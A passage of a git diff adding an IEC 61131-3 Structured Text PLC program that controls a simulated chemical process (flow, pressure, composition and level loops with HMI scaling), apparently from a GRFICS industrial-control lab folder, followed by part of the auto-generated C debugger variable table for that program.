LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, 